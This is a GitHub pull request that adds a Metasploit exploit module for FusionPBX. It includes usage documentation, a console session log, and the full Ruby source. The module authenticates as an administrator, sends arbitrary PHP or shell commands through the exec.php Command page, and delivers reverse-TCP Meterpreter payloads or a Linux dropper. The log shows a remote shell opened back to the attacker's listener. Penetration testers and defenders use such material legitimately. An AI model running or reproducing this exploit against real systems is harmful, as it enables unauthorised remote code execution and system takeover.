Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add FusionPBX Command exec.php Command Execution #12532

Merged
merged 3 commits into from
Nov 13, 2019
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,83 @@
## Description

This module uses administrative functionality available in FusionPBX
to gain a shell.

The Command section of the application permits users with `exec_view`
permissions, or superadmin permissions, to execute arbitrary system
commands, or arbitrary PHP code, as the web server user.


## Vulnerable Software

This module has been tested successfully on FusionPBX version
4.4.1 on Ubuntu 19.04 (x64).

Software:

* https://www.fusionpbx.com/download
* https://github.com/fusionpbx/fusionpbx/releases


## Verification Steps

1. Start `msfconsole`
2. Do: `use exploit/unix/webapp/fusionpbx_exec_cmd_exec`
3. Do: `set rhosts <IP>`
4. Do: `set username <username>` (default: `admin`)
5. Do: `set password <password>`
6. Do: `run`
7. You should get a new session


## Options

**TARGETURI**

The base path to FusionPBX (default: `/`)

**USERNAME**

The username for FusionPBX (default: `admin`)

**PASSWORD**

The password for FusionPBX


## Scenarios

```
msf5 > use exploit/unix/webapp/fusionpbx_exec_cmd_exec
msf5 exploit(unix/webapp/fusionpbx_exec_cmd_exec) > set rhosts 172.16.191.214
rhosts => 172.16.191.214
msf5 exploit(unix/webapp/fusionpbx_exec_cmd_exec) > set username admin
username => admin
msf5 exploit(unix/webapp/fusionpbx_exec_cmd_exec) > set password PXRtwZqSkvToC4gc
password => PXRtwZqSkvToC4gc
msf5 exploit(unix/webapp/fusionpbx_exec_cmd_exec) > set lhost 172.16.191.165
lhost => 172.16.191.165
msf5 exploit(unix/webapp/fusionpbx_exec_cmd_exec) > show targets

Exploit targets:

Id Name
-- ----
0 Automatic (PHP In-Memory)
1 Automatic (Unix In-Memory)
2 Automatic (Linux Dropper)


msf5 exploit(unix/webapp/fusionpbx_exec_cmd_exec) > run

[*] Started reverse TCP handler on 172.16.191.165:4444
[+] Authenticated as user 'admin'
[*] Sending payload (1115 bytes) ...
[*] Sending stage (38288 bytes) to 172.16.191.214
[*] Meterpreter session 1 opened (172.16.191.165:4444 -> 172.16.191.214:60772) at 2019-11-01 19:25:43 -0400

meterpreter > getuid
Server username: www-data (33)
meterpreter >
```

183 changes: 183 additions & 0 deletions modules/exploits/unix/webapp/fusionpbx_exec_cmd_exec.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,183 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'FusionPBX Command exec.php Command Execution',
'Description' => %q{
This module uses administrative functionality available in FusionPBX
to gain a shell.

The Command section of the application permits users with `exec_view`
permissions, or superadmin permissions, to execute arbitrary system
commands, or arbitrary PHP code, as the web server user.

This module has been tested successfully on FusionPBX version
4.4.1 on Ubuntu 19.04 (x64).
},
'License' => MSF_LICENSE,
'Author' => ['bcoles'],
'References' =>
[
['URL', 'https://docs.fusionpbx.com/en/latest/advanced/command.html']
],
'Platform' => %w[php linux unix],
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
'Targets' =>
[
['Automatic (PHP In-Memory)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/reverse_tcp'},
'Type' => :php_memory
],
['Automatic (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'},
'Type' => :unix_memory
],
['Automatic (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'},
'Type' => :linux_dropper
]
],
'Privileged' => false,
'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 },
'DisclosureDate' => '2019-11-02',
'DefaultTarget' => 0))
register_options [
OptString.new('TARGETURI', [true, 'The base path to FusionPBX', '/']),
OptString.new('USERNAME', [true, 'The username for FusionPBX', 'admin']),
OptString.new('PASSWORD', [true, 'The password for FusionPBX'])
]
end

def login(user, pass)
vprint_status "Authenticating as user '#{user}'"

vars_post = {
username: user,
password: pass,
path: ''
}

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'core/user_settings/user_dashboard.php'),
'vars_post' => vars_post
})

unless res
fail_with Failure::Unreachable, 'Connection failed'
end

if res.code == 302 && res.headers['location'].include?('login.php')
fail_with Failure::NoAccess, "Login failed for user '#{user}'"
end

unless res.code == 200
fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"
end

cookie = res.get_cookies.to_s.scan(/PHPSESSID=(.+?);/).flatten.first

unless cookie
fail_with Failure::UnexpectedReply, 'Failed to retrieve PHPSESSID cookie'
end

print_good "Authenticated as user '#{user}'"

cookie
end

def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path)
})

unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end

if res.body.include?('FusionPBX')
return CheckCode::Detected
end

CheckCode::Safe
end

def execute_command(cmd, opts = {})
vars_post = {
handler: 'php',
table_name: '',
sql_type: '',
id: '',
cmd: cmd
}

case opts[:handler]
when 'php'
vars_post[:handler] = 'php'
when 'shell'
vars_post[:handler] = 'shell'
when 'switch'
vars_post[:handler] = 'switch'
vars_post[:cmd] = "bg_system #{cmd}"
else
vars_post[:handler] = 'shell'
end

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'app/exec/exec.php'),
'cookie' => "PHPSESSID=#{@cookie}",
'vars_post' => vars_post
}, 5)

unless res
return if session_created?
fail_with Failure::Unreachable, 'Connection failed'
end

unless res.code == 200
fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"
end

if res.body.include? 'access denied'
fail_with Failure::NoAccess, "User #{datastore['USERNAME']} does not have permission to execute #{vars_post[:handler]} #{vars_post[:handler].eql?('php') ? 'code' : 'commands'}"
end

res
end

def exploit
unless check == CheckCode::Detected
fail_with Failure::NotVulnerable, "#{peer} - Target is not vulnerable"
end

@cookie = login(datastore['USERNAME'], datastore['PASSWORD'])

print_status "Sending payload (#{payload.encoded.length} bytes) ..."

case target['Type']
when :php_memory
execute_command(payload.encoded, handler: 'php')
when :unix_memory
execute_command(payload.encoded, handler: 'shell')
when :linux_dropper
execute_cmdstager(:linemax => 1_500, handler: 'shell')
end
end
end